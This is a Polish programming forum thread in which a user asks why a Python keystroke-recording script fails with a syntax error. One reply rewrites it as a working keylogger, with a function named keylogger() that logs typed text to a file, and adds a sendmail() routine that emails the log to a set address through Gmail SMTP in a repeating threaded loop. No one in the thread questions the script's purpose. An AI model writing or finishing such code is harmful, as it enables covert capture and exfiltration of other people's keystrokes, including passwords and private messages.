Wątek przeniesiony 2019-07-01 22:13 z przez cerrato.

Python invalid syntax error przy kompilacji

Odpowiedz Nowy wątek
2019-07-01 21:45

Rejestracja: 1 rok temu

Ostatnio: 3 miesiące temu

0

Witam, podczas kompilacji kodu, wyskakuje error invalid syntax przy for string in . Wie ktoś jak to naprawić?

import threading
import os
import keyboard
import smtplib
from time import sleep

def wyslijzalacznik():
        FILE_NAME="helloworld.txt"
        CLEAR_ONSTARTUP=False
        TERMINATE_KEY="enter"

        if  CLEAR_ONSTARTUP:
                os.remove(FILE_NAME)
                output=open(FILE_NAME, "a")
        for string in  //TUTAJ ERROR
        keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()
edytowany 1x, ostatnio: hauleth, 2019-07-01 21:52
Pokaż pozostałe 3 komentarze
Ale raczej nie mowimy tutaj o kompilowaniu mimo wszystko - stivens 2019-07-01 22:20
Jeśli Masz na myśli kompilację, jako tłumaczenie do kodu maszynowego to nie, ale generalnie kompilacja to tłumaczenie z języka na język (może być ten sam), więc w takim sensie tak. - lion137 2019-07-01 22:23
Java tez sie do bytecodu kompiluje ale tam juz smialo o kompilacji mozna mowic. Po prostu jest taka troche intuicyjna interpretacja co jest kompilowane a co interpretowane i nie ma chyba co sie nad tym rozwodzic - stivens 2019-07-01 22:26
Java ma JIT, który kompiluje pewne sekwencje byte codu do kodu maszynowego, a niektóre interpretuje, więc w tym sensie Java jest bardziej kompilowana niż Python. - lion137 2019-07-01 22:31
I co wazne statycznie sprawdzana pod wzgledem czesciowej poprawnosci - stivens 2019-07-01 22:33

Pozostało 580 znaków

2019-07-01 22:22

Rejestracja: 3 lata temu

Ostatnio: 12 minut temu

0

Sluchaj Python wymusza po prostu poprawne wcinanie kodu. Podkresle poprawne, nie jakies specjalne czy magiczne a zwyczajnie poprawnie wiec napisz te wciecia tak jak normalnie powinny byc w kodzie i bedzie dzialac

edytowany 1x, ostatnio: stivens, 2019-07-01 22:23

Pozostało 580 znaków

2019-07-02 19:13

Rejestracja: 3 lata temu

Ostatnio: 12 minut temu

0
import threading
import os
import keyboard
import smtplib
from time import sleep

FILE_NAME = "helloworld.txt"

def keylogger():
    CLEAR_ONSTARTUP = False
    TERMINATE_KEY = "enter"

    if CLEAR_ONSTARTUP:
        os.remove(FILE_NAME)

    with open(FILE_NAME, "a") as output:
        for string in keyboard.get_typed_strings(keyboard.record(until=TERMINATE_KEY)):
            output.write(string)

def sendmail():
    gmail_user = "login"
    gmail_password = "pass"
    FROM = gmail_user
    TO = ["[email protected]"]
    Subject = "test"

    try:
        f = open(FILE_NAME, "r")

        text = f.read()
        message = f'From: {FROM}\nTo: {", ".join(TO)}\nSubject: {Subject}\n{text}'

        try:
            server = smtplib.SMTP("smtp.gmail.com", 587)
            server.ehlo()
            server.starttls()
            server.login(gmail_user, gmail_password)
            server.sendmail(FROM, TO, message)
            server.close()

        except Exception as ex:
            print(ex)
    except:
        pass

while True:
    if __name__ == "__main__":

        key = threading.Thread(target=hellowr)
        mail = threading.Thread(target=sendmail)

        key.start()
        mail.start()

        key.join()
        mail.join()

jest cus takiego ale nie wiem czy dziala bo po pierwsze

key = threading.Thread(target=hellowr)

???
a po drugie cos mi sie gmail nie chce zalogowac a nie chce mi sie kombinowac

ogolnie to bardzo zle wciecia ale mniejsza...
albo jednak podam przyklad

 for string in
       keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()

wtf? zamykasz output w petli?

edytowany 2x, ostatnio: stivens, 2019-07-02 19:16

Pozostało 580 znaków

Odpowiedz

1 użytkowników online, w tym zalogowanych: 0, gości: 1, botów: 0